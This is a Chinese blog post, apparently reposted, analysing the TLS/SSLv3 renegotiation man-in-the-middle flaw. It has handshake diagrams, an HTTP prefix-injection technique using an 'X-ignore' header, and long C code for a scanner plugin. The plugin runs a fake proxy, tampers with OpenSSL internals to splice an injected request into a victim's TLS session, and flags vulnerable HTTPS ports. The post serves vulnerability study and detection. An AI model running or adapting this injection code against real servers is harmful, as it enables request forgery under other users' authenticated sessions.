简单分析TLS & SSLv3 renegotiation vulnerability
来源:互联网 发布:淘宝查号截图是什么 编辑:程序博客网 时间:2024/06/06 13:14
由于TLS & SSLv3 protocol在描述Renegotiation时存在问题, 使得MITM(man in the middle)攻击成为可能。
一般的TLS handshake :
Client Server
-------- client hello ------>
<------ server hello -------
<------ certificate -------
<--- server hello done----
-- client key exchange -->
-- change cipher spec -->
.............. finished ............>
<-- change cipher spec --
<............ finished ............
application data (GET /secure HTTP/1.1/r/n
----------------------------->
需要客户证书的TLS handshake (理想情况)
Client Server
-------- client hello ------>
<------ server hello -------
<------ certificate -------
<--- certificate request --
<--- server hello done----
-------- certificate -------->
-- client key exchange -->
----- certificate verify ---->
-- change cipher spec -->
.............. finished ............>
<-- change cipher spec --
<............ finished ............
application data (GET /secure HTTP/1.1/r/n
----------------------------->
需要客户证书的TLS handshake (普遍情况)
Client Server
-------- client hello ------>
<------ server hello -------
<------ certificate -------
<--- server hello done----
-- client key exchange -->
-- change cipher spec -->
.............. finished ............>
<-- change cipher spec --
<............ finished ............
GET /secure HTTP/1.1/r/n
----------------------------->
<------ hello request ------- server initiated renegotiation
-------- client hello ---------
<------ server hello --------
<------- certificate ---------
<--- certificate request ---
<---- server hello done ----
--------- certificate -------->
--- client key exchange --->
----- certificate verify ----->
--- change cipher spec --->
............... finished .............>
<--chage cipher spec -----
<............. finished .............
HTTP /1.1 OK
<----------------------------
MITM:
Client Middle Server
|
| --------- client hello ------> | -------- client hello ------> |
| | <------ server hello ------- |
| | <------ certificate ------- |
| | <--- server hello done---- |
| | -- client key exchange --> |
| | -- change cipher spec --> |
| | .............. finished ............> |
| | <-- change cipher spec -- |
| | <............ finished ............. |
| | |
| | POST /secure/evil.html HTTP/1.1 |
| | -----------------------------> |
| | |
| | <------ hello request ------- | server initiated renegotiation
| replay ......................> | -------- client hello --------> |
| <------ server hello -------- | <------ server hello -------- |
| <------- certificate --------- | <------- certificate --------- |
| <--- certificate request --- | <--- certificate request --- |
| <---- server hello done ---- | <---- server hello done ---- |
| --------- certificate --------> | --------- certificate --------> |
| --- client key exchange --> | --- client key exchange ---> |
| ----- certificate verify -----> | ----- certificate verify -----> |
| --- change cipher spec ---> | --- change cipher spec ---> |
| ............. finished ...............> | ............... finished .............> |
| <--chage cipher spec ----- | <--chage cipher spec ----- |
| <............. finished ............. | <............. finished ............. |
| |
| HTTP /1.1 OK |
| <---------------------------------------------------------------------- |
| GET /secure HTTP/1.1 |
| -----------------------------------------------------------------------> |
我们也可以让客户端发送client hello来引起 TLS Renegotiation
攻击方法1: 注入HTTP Command在HTTPS交互中
我们可以使用HTTP的pipeline和利用X-ignore来注入HTTP Command.
例如:
客户端通过代理请求GET https://www.example.com/secure.html时,
代理在收到客户端的请求后, 先发送 POST https://www.example.com/evil.html
然后转发客户端的请求(引起TLS Renegotiation)
过程如下:
1. Client ----- CONNECT www.example.com:443 -----> Proxy
2. Proxy -----------------------------------------------------> Server
"POST /evil.html HTTP/1.1/r/n"
"X-ignore: "
3. Client -----------------------------------------------------> Server
"GET /good.html HTTP/1.1/r/n"
”Host: www.example.com
"Cookie: session=abcdefg/r/n"
.............
4. Client ------------------------------------------------------> Server
HTTP/1.1 200 OK
.......................
由于HTTP的流特性, Server收到的数据如下:
POST /evil.html HTTP/1.1
X-ignore: GET /good.html HTTP/1.1
Host: www.example.com
Cookie: session=abcdef
. ........................
所以实际执行的是POST /evil.html
代码:
#include "plugins.h"
#include <openssl/ssl.h>
#include <openssl/ssl3.h>
#include <sys/wait.h>
#define my_debug(f, m...) // printf(f, ##m),fflush(stdout)
#define for_each_serv_port(job, serv, port) /
for (port = job_serv_port(job, serv, port); /
port.num; /
port = job_serv_port(job, serv, port))
typedef struct {
SSL *ssl;
int fd;
int raw;
} ssl_io_t;
static bool_t _init(rvs_plugin_t *self)
{
return btrue;
}
extern int
ssl3_read_bytes
(SSL *s, int type, unsigned char *buf, int len, int peek);
extern int
ssl3_write_bytes
(SSL *s, int type, const void *buf_, int len);
int xread(int fd, unsigned char *buf, size_t len)
{
int r, rlen;
rlen = 0;
while (len > 0) {
r = read(fd, buf, len);
if (r == 0)
break;
else if (r == -1) {
my_debug("xread: read() failed -- %s/n", strerror(errno));
return -1;
}
buf += r;
len -= r;
rlen += r;
}
return rlen;
}
int rec_read(ssl_io_t *io, unsigned char *buf)
{
int r, l;
#if 0
fprintf(stderr, "rec read %s/n",
io->raw & 1 ? "raw" : "cooked");
#endif
if (io->raw & 1) {
r = xread(io->fd, buf, 5);
if (r == -1) {
my_debug("rec_read: xread() failed/n");
return -1;
}
if (r == 0)
return 0;
else if (r != 5) {
my_debug("rec_read: read1");
return -1;
}
if (buf[0] != 0x80)
l = (buf[3] << 8) + buf[4];
else {
/* ssl2 hack */
my_debug("rec_read: ssl2");
l = (buf[1]) - 3;
}
if (l < 0 || l > (1 << 15)) {
errno = EINVAL;
my_debug("rec_read: reclen");
return -1;
}
r = xread(io->fd, buf + 5, l);
if (r != l) {
my_debug("rec_read: read2");
return -1;
}
l += 5;
return l;
}
else {
r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
if (r == 0)
return 0;
else if (r < 0) {
if (io->ssl->s3->change_cipher_spec) {
buf[0] = 0x14;
buf[1] = (io->ssl->version >> 8);
buf[2] = (io->ssl->version & 0xff);
buf[3] = 0;
buf[4] = 1;
buf[5] = 1;
io->raw |= 1;
io->ssl->s3->change_cipher_spec = 0;
return 6;
}
my_debug("rec_read: ssl3_read_bytes/n");
return -1;
}
l = r;
buf[0] = io->ssl->s3->rrec.type;
buf[1] = (io->ssl->version >> 8);
buf[2] = (io->ssl->version & 0xff);
buf[3] = (l >> 8);
buf[4] = (l & 0xff);
return l + 5;
}
}
bool_t rec_write(ssl_io_t *io, unsigned char *buf, size_t len)
{
int r;
#if 0
fprintf(stderr, "rec write %s/n",
io->raw & 2 ? "raw" : "cooked");
#endif
if (io->raw & 2) {
r = write(io->fd, buf, len);
if (r != len) {
my_debug("rec_write: write");
return bfalse;
}
}
else {
r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len - 5);
if (r < 0) {
my_debug("rec_write: ssl3_write_bytes");
return bfalse;
}
if (buf[0] == 0x14) {
io->raw |= 2;
}
}
return btrue;
}
static bool_t setup_ssl_ctx(SSL_CTX **ctx)
{
OpenSSL_add_ssl_algorithms();
SSL_load_error_strings();
*ctx = SSL_CTX_new(SSLv3_client_method());
if (!*ctx) {
my_debug("setup_ssl_ctx: SSL_CTX_new() failed/n");
return bfalse;
}
return btrue;
}
static bool_t setup_ssl_io(ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
{
SSL *ssl;
BIO *bio;
ssl = SSL_new(ctx);
if (!ssl) {
my_debug("setup_ssl_io: SSL_new() failed/n");
return bfalse;
}
bio = BIO_new_socket(sock, BIO_NOCLOSE);
if (!bio) {
my_debug("setup_ssl_io: BIO_new_socket() failed/n");
return bfalse;
}
SSL_set_bio(ssl, bio, bio);
SSL_set_connect_state(ssl);
io->ssl = ssl;
io->fd = sock;
io->raw = raw;
return btrue;
}
static bool_t setup_fake_client(int *sock, char *ip, int port)
{
struct sockaddr_in sa;
int s, r;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1) {
my_debug("setup_fake_client: socket() failed -- %s/n", strerror(errno));
return bfalse;
}
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(ip);
sa.sin_port = htons(port);
r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
if (r == -1) {
my_debug("setup_fake_client: connect() failed -- %s/n", strerror(errno));
return bfalse;
}
my_debug("setup_fake_client: proxy connect server %s:%d successfully/n", ip, port);
*sock = s;
my_debug("setup_fake_client: set sock = %d/n", s);
return btrue;
}
/* stolen from ssl_locl.h */
typedef struct ssl3_enc_method {
int (*enc)(SSL *, int);
int (*mac)(SSL *, unsigned char *, int);
int (*setup_key_block)(SSL *);
int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
int (*change_cipher_state)(SSL *, int);
int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
int finish_mac_length;
int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
const char *client_finished_label;
int client_finished_label_len;
const char *server_finished_label;
int server_finished_label_len;
int (*alert_value)(int);
} SSL3_ENC_METHOD;
int bogus_change_cipher_state(SSL *ssl, int i)
{
return 0;
}
#define HTTP_TRICK /
"GET / HTTP/1.1/r/n"
#define HTTP_GET /
"HOST: %s/r/n" /
"/r/n"
static bool_t hack_ssl(ssl_io_t *assl, ssl_io_t *cssl, int pipe_r)
{
int r, l;
unsigned char buf[1 << 16];
// SSL_METHOD *mth;
my_debug("hack_ssl: call rec_read 1/n");
r = rec_read(assl, buf);
if (r <= 0) {
my_debug("hack_ssl: rec_read -- no i/o/n");
return bfalse;
}
l = r;
my_debug("hack_ssl: rec_read 1 return %d bytes/n", l);
if (buf[0] == 0x16 && buf[1] == 3 &&
(buf[2] == 0 || buf[2] == 1)) {
cssl->raw = 0;
my_debug("hack_ssl: protocol signature is ok/n");
r = SSL_CTX_set_ssl_version
(cssl->ssl->ctx, buf[2] == 0 ?
SSLv3_client_method() : TLSv1_client_method());
my_debug("hack_ssl: set SSL version ok/n");
if (r != 1) {
my_debug("hack_ssl: SSL_CTX_set_ssl_version/n");
return bfalse;
}
my_debug("clear client SSL/n");
r = SSL_clear(cssl->ssl);
if (r != 1) {
my_debug("hack_ssl: SSL_clear/n");
return bfalse;
}
my_debug("clear client SSL ok/n");
my_debug("SSL_connect/n");
r = SSL_connect(cssl->ssl);
if (r != 1) {
my_debug("hack_ssl: SSL_connect/n");
return bfalse;
}
my_debug("SSL_connect ok/n");
/* ssl3_setup_buffers(io->ssl);
ssl_get_new_session(io->ssl, 0); */
r = SSL_write(cssl->ssl, HTTP_TRICK, sizeof(HTTP_TRICK) - 1);
if (r != sizeof(HTTP_TRICK) - 1) {
my_debug("hack_ssl: SSL_write/n");
return bfalse;
}
my_debug("hack_ssl: SSL_write /n%s/n(%d) to server/n", HTTP_TRICK, sizeof(HTTP_TRICK) - 1);
cssl->ssl->in_handshake++;
cssl->ssl->method->ssl3_enc->change_cipher_state = bogus_change_cipher_state;
}
else {
/* schedule suicide */
my_debug("hack_ssl: suicide/n");
return bfalse;
}
rec_write(cssl, buf, l);
return btrue;
}
static bool_t ssl_exchange_io(ssl_io_t *assl, ssl_io_t *cssl, int pipe_r)
{
ssl_io_t *ssls[2];
int maxfd, active;
int i, r, l;
fd_set fdr;
unsigned char buf[1 << 16];
ssls[0] = assl;
ssls[1] = cssl;
active = 3;
maxfd = 0;
for (i = 0; i < 2; i++)
if (ssls[i]->fd >= maxfd)
maxfd = ssls[i]->fd + 1;
while (active) {
FD_ZERO(&fdr);
for (i = 0; i < 2; i++)
if (active & (1 << i))
FD_SET(ssls[i]->fd, &fdr);
FD_SET(pipe_r, &fdr);
r = select(maxfd, &fdr, NULL, NULL, NULL);
if (r == -1) {
my_debug("ssl_exchange_io: select() failed -- %s/n", strerror(errno));
return bfalse;
}
if (FD_ISSET(pipe_r, &fdr)) {
my_debug("ssl_exchange_io: pipe from parent is ready/n");
return bfalse;
}
for (i = 0; i < 2; i++) {
if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &fdr)) {
r = rec_read(ssls[i], buf);
if (r == 0) {
shutdown(ssls[i]->fd, SHUT_RD);
shutdown(ssls[1 - i]->fd, SHUT_WR);
active &= ~(1 << i);
continue;
}
if (r == -1) {
my_debug("ssl_exchange_io: rec_read() failed/n");
return bfalse;
}
l = r;
rec_write(ssls[1 - i], buf, l);
}
}
}
return btrue;
}
#define HTTP_OK "HTTP/1.0 200 Connected/r/n/r/n"
static int fake_proxy_attack(SSL_CTX *ctx, int asock, int pipe_r)
{
struct sockaddr_in sa;
socklen_t sl;
struct timeval timeout = { 2, 0 }; // 2 seconds
fd_set fdr, fdw, fde;
int max, r;
int csock;
char buf[50];
char server_ip[100];
int server_port;
ssl_io_t assl, cssl;
sl = sizeof(sa);
FD_ZERO(&fdr);
FD_ZERO(&fdw);
FD_ZERO(&fde);
max = asock > pipe_r ? asock : pipe_r;
FD_SET(asock, &fdr); FD_SET(pipe_r, &fdr);
FD_SET(asock, &fdw); FD_SET(pipe_r, &fdw);
FD_SET(asock, &fde); FD_SET(pipe_r, &fde);
r = select(max + 1, &fdr, &fdw, &fde, &timeout);
if (r == 0) {
my_debug("fake_proxy_attack: select() timeout/n");
return 0;
}
else if (r == -1) {
my_debug("fake_proxy_attack: select() failed -- %s/n", strerror(errno));
return 0;
}
else {
if (FD_ISSET(pipe_r, &fdr) || FD_ISSET(pipe_r, &fdw) || FD_ISSET(pipe_r, &fde)) {
my_debug("fake_proxy_attack: pipe_r (%d) from father process is ready/n", pipe_r);
r = read(pipe_r, buf, sizeof(buf) - 1);
buf[r] = 0;
my_debug("fake_proxy_attack: message from father process -- %s/n", buf);
return -1;
}
else {
int n = read(asock, buf, sizeof(buf) - 1);
if (n < 0) {
my_debug("fake_proxy_attack: read() failed -- %s/n", strerror(errno));
return 0;
}
if (n == 0) {
my_debug("fake_proxy_attack: read NULL -- proxy close connection/n");
return 0;
}
buf[n] = 0;
my_debug("fake_proxy_attack: read /n/t%sfrom client/n", buf);
if (sscanf(buf, "CONNECT %99[0-9A-Za-z.-]:%d", server_ip, &server_port) != 2) {
my_debug("fake_proxy_attack: bad request/n");
}
write(asock, HTTP_OK, sizeof(HTTP_OK));
my_debug("fake_proxy_attack: write /n/t%sto client/n", HTTP_OK);
if (!setup_fake_client(&csock, server_ip, server_port)) {
my_debug("fake_proxy_attack: setup_fake_client() failed/n");
return 0;
}
if (!setup_ssl_io(&assl, ctx, asock, 3)) {
my_debug("fake_proxy_attack: setup_ssl_io() for accept socket failed/n");
return 0;
}
my_debug("fake_proxy_attack: setup_ssl_io() for accept socket successful/n");
if (!setup_ssl_io(&cssl, ctx, csock, 3)) {
my_debug("fake_proxy_attack: setup_fake_ssl_io() for client socket failed/n");
return 0;
}
my_debug("fake_proxy_attack: setup_ssl_io() for client socket successful/n");
my_debug("fake_proxy_attack: call hack_ssl/n");
if (!hack_ssl(&assl, &cssl, pipe_r)) {
my_debug("fake_proxy_attack: hack_ssl() failed/n");
return -1;
}
my_debug("fake_proxy_attack: call ssl_io_exchange/n");
if (!ssl_exchange_io(&assl, &cssl, pipe_r)) {
my_debug("fake_proxy_attack: ssl_ip() failed/n");
return -1;
}
}
}
return 1;
}
static void run_fake_proxy(SSL_CTX *ctx, int sock, int pipe_r)
{
struct sockaddr_in sa;
socklen_t sl;
struct timeval timeout = { 2, 0 }; // 2 seconds
fd_set fdr, fdw, fde;
int asock;
int max, r;
char buf[50];
sl = sizeof(sa);
for (;;) {
FD_ZERO(&fdr);
FD_ZERO(&fdw);
FD_ZERO(&fde);
max = sock > pipe_r ? sock : pipe_r;
FD_SET(sock, &fdr); FD_SET(pipe_r, &fdr);
FD_SET(sock, &fdw); FD_SET(pipe_r, &fdw);
FD_SET(sock, &fde); FD_SET(pipe_r, &fde);
r = select(max + 1, &fdr, &fdw, &fde, &timeout);
if (r == 0) {
my_debug("run_fake_proxy: select() timeout/n");
return;
}
else if (r == -1) {
my_debug("run_fake_proxy: select() failed -- %s/n", strerror(errno));
if (errno == EINTR)
continue;
return;
}
else {
if (FD_ISSET(pipe_r, &fdr) || FD_ISSET(pipe_r, &fdw) || FD_ISSET(pipe_r, &fde)) {
my_debug("run_fake_proxy: pipe_r (%d) from father process is ready/n", pipe_r);
r = read(pipe_r, buf, sizeof(buf) - 1);
buf[r] = 0;
my_debug("run_fake_proxy: message from father process -- %s/n", buf);
return;
}
else {
asock = accept(sock, (struct sockaddr *) &sa, &sl);
if (asock == -1) {
my_debug("run_fake_proxy: accept() failed -- %s/n", strerror(errno));
return;
}
my_debug("run_fake_proxy: accepted %s:%d/n", inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
if (fake_proxy_attack(ctx, asock, pipe_r) < 0) {
close(asock);
return;
}
close(asock);
}
}
}
}
static void handle_signal(int sig)
{
printf("misc_18558: child process receive signal %d/n", sig);
exit(-1);
}
static bool_t setup_fake_proxy(SSL_CTX *ctx, in_addr_t addr, int port, int *pipe_w)
{
struct sockaddr_in sa;
int flag, r, sock;
int pipe_fds[2];
pid_t pid;
if (pipe(pipe_fds) < 0) {
my_debug("setup_fake_proxy: pipe() failed -- %s/n", strerror(errno));
return bfalse;
}
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {
my_debug("setup_fake_proxy: socket() failed -- %s/n", strerror(errno));
close(pipe_fds[0]);
close(pipe_fds[1]);
return bfalse;
}
flag = 1;
r = setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
if (r == -1) {
my_debug("setup_fake_proxy: setsockopt() failed -- %s/n", strerror(errno));
close(pipe_fds[0]);
close(pipe_fds[1]);
close(sock);
return bfalse;
}
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = addr;
sa.sin_port = htons(port);
r = bind(sock, (struct sockaddr *) &sa, sizeof(sa));
if (r == -1) {
my_debug("setup_fake_proxy: bind() failed -- %s/n", strerror(errno));
close(pipe_fds[0]);
close(pipe_fds[1]);
close(sock);
return bfalse;
}
my_debug("setup_fake_proxy: socket (%d) bind to %s:%d/n", sock,
inet_ntoa(*(struct in_addr *) &addr),
port);
r = listen(sock, 5);
if (r == -1) {
my_debug("setup_fake_proxy: listen() failed -- %s/n", strerror(errno));
close(pipe_fds[0]);
close(pipe_fds[1]);
close(sock);
return bfalse;
}
pid = fork();
if (pid == -1) {
my_debug("setup_fake_proxy: fork() failed -- %s/n", strerror(errno));
close(pipe_fds[0]);
close(pipe_fds[1]);
close(sock);
return bfalse;
}
// Child process
if (pid == 0) {
signal(SIGINT, handle_signal);
signal(SIGTERM, handle_signal);
signal(SIGHUP, handle_signal);
signal(SIGSEGV, handle_signal);
signal(SIGABRT, handle_signal);
signal(SIGPIPE, handle_signal);
my_debug("setup_fake_proxy: child process is running/n");
close(pipe_fds[1]);
run_fake_proxy(ctx, sock, pipe_fds[0]);
close(sock);
my_debug("setup_fake_proxy: child process exits/n");
exit(0);
}
else {
my_debug("setup_fake_proxy: create a new process (%d) successfully/n", pid);
*pipe_w = pipe_fds[1];
close(pipe_fds[0]);
close(sock);
return btrue;
}
}
static bool_t can_mitm_attack(SSL_CTX *ctx, in_addr_t proxy_addr, int proxy_port,
in_addr_t server_addr, int server_port)
{
struct sockaddr_in sa;
int sock;
char buf[1024];
int n;
SSL *ssl;
BIO *bio;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
my_debug("can_mitm_attack: socket() failed -- %s/n", strerror(errno));
return bfalse;
}
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = proxy_addr;
sa.sin_port = htons(proxy_port);
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
my_debug("can_mitm_attack: connect() failed -- %s/n", strerror(errno));
close(sock);
return bfalse;
}
my_debug("can_mitm_attack: connected proxy %s:%d/n", inet_ntoa(sa.sin_addr), proxy_port);
snprintf(buf, sizeof(buf), "CONNECT %s:%d/r/n/r/n", inet_ntoa(*(struct in_addr *)&server_addr), server_port);
write(sock, buf, strlen(buf));
my_debug("can_mitm_attack: write /n/t%sto proxy/n", buf);
/* read from proxy */
if ((n = read(sock, buf, sizeof(buf) - 1)) <= 0) {
if (n == -1)
my_debug("can_mitm_attack: read() failed -- %s/n", strerror(errno));
else
my_debug("can_mitm_attack: read timeout from proxy/n");
close(sock);
return bfalse;
}
buf[n] = 0;
my_debug("can_mitm_attack: read /n/t%s(%d) from proxy/n", buf, n);
ssl = SSL_new(ctx);
if (!ssl) {
my_debug("can_mitm_attack: SSL_new() failed/n");
close(sock);
return bfalse;
}
bio = BIO_new_socket(sock, BIO_NOCLOSE);
if (!bio) {
my_debug("can_mitm_attack: BIO_new_socket() failed/n");
close(sock);
SSL_free(ssl);
return bfalse;
}
SSL_set_bio(ssl, bio, bio);
SSL_set_connect_state(ssl);
n = SSL_connect(ssl);
if (n != 1) {
close(sock);
SSL_free(ssl);
my_debug("can_mitm_attack: SSL_connect() failed/n");
return bfalse;
}
snprintf(buf, sizeof(buf), "Host: %s/r/n/r/n", inet_ntoa(*(struct in_addr *)&server_addr));
n = SSL_write(ssl, buf, strlen(buf));
if (n != strlen(buf)) {
close(sock);
SSL_free(ssl);
my_debug("can_mitm_attack: SSL_write() failed/n");
return bfalse;
}
my_debug("can_mitm_attack: write /n%s/n(%d) to server/n", buf, strlen(buf));
n = SSL_read(ssl, buf, sizeof(buf) - 1);
if (n == -1) {
close(sock);
SSL_free(ssl);
my_debug("can_mitm_attack: SSL_read() failed/n");
return bfalse;
}
else if (n == 0) {
close(sock);
SSL_free(ssl);
my_debug("can_mitm_attack: SSL_read() read NULL/n");
return bfalse;
}
buf[n] = 0;
my_debug("can_mitm_attack: SSL_read/n%s/n(%d) from server/n", buf, n);
close(sock);
SSL_free(ssl);
if (rvs_reg("^HTTP/1//.[01]", buf) && !rvs_reg("^HTTP/1//.1[01] 400", buf))
return btrue;
return bfalse;
}
#define NOTIFY_MSG "CLOSE"
/* To avoid zombie process */
void clear_child_process(int sig)
{
printf("Child process %d exit/n", wait(NULL));
}
static int _run(job_t *job)
{
static int count = 0;
void (*default_rvs_sigchld_handle)(int);
port_t port = { btrue, 0 };
in_addr_t proxy_addr = job_local_addr(job);
in_addr_t server_addr = job_peer_addr(job);
int proxy_port, server_port;
SSL_CTX *ctx;
int pipe_w;
if (!setup_ssl_ctx(&ctx))
return 0;
if (count == 0) {
default_rvs_sigchld_handle = signal(SIGCHLD, clear_child_process);
if (default_rvs_sigchld_handle != NULL)
signal(SIGCHLD, default_rvs_sigchld_handle); // restore
}
// calculate the the value of proxy port
proxy_port = 54321 + count++;
// fork a new process to run fake proxy (MITM)
if (!setup_fake_proxy(ctx, proxy_addr, proxy_port, &pipe_w)) {
SSL_CTX_free(ctx);
return 0;
}
for_each_serv_port(job, SERV_https, port) {
if (job_port_stat(job, port) != STAT_port_open)
continue;
server_port = port.num;
if (can_mitm_attack(ctx, proxy_addr, proxy_port, server_addr, server_port)) {
my_debug("misc_18558: %s:%d is vuln to MITM/n", job_peer_name(job), port.num);
job_port_vuln_set(job, port, 18558, 0);
}
}
send(pipe_w, NOTIFY_MSG, sizeof(NOTIFY_MSG), MSG_NOSIGNAL);
close(pipe_w);
SSL_CTX_free(ctx);
return 0;
}
NOTE:
同步问题, 要保证当前 (线程) 退出后,其fork()出来的进程也马上退出。 (使用管道解决)
使用SIGCHLD和wait来避免子进程变为僵尸进程(zombie)
参考:
http://extendedsubset.com/Renegotiating_TLS.pdf
- 简单分析TLS & SSLv3 renegotiation vulnerability
- Multiple Vendor TLS Protocol Session Renegotiation Security Vulnerability
- SSLv3&TLS协议学习笔记(一)
- 新的TLS/SSL3.0中间人攻击已公布 - TLS renegotiation attack
- Security Bulletin: Vulnerability in SSLv3 affects IBM WebSphere Application Server (CVE-2014-3566)
- magento paypal 禁止 sslv3, 采用TLS 协议,nginx需要做的更改。(只针对https)
- tomcat中server.xml中sslProtocol="TLS"含义,关闭SSLv3
- tomcat中server.xml中sslProtocol="TLS"含义,关闭SSLv3
- tomcat中server.xml中sslProtocol="TLS"含义,关闭SSLv3
- TLS/SSL 实例分析
- TLS 报文分析记录
- TLS协议分析
- TLS协议分析
- TLS协议分析------
- SSL/TLS 协议分析
- GitCafe已正式取消对 SSLv3 协议的支持,目前选择支持更安全可靠的 TLS 协议
- 线程本地存储(Thread Local Storage, TLS)简单分析与使用
- 线程本地存储(Thread Local Storage, TLS)简单分析与使用
- spring容器,很好用
- Android开发摘记(一)
- 用WebService传递XML数据
- 什么是 servlet?
- vim显示行号、语法高亮、自动缩进的设置
- 简单分析TLS & SSLv3 renegotiation vulnerability
- 量子力学揭示时间为何向前
- 实现业务系统中的用户权限管理--实现篇
- 对话框编程(vc使用技巧集)
- SQL Server 2008远程连接
- 【转】WSAEVENTSELECT模型-简述
- 【转】VS2008与QT4.6集成
- 成功跳槽来寻求职位和收入的快速提升
- 深入研究 Win32 结构化异常处理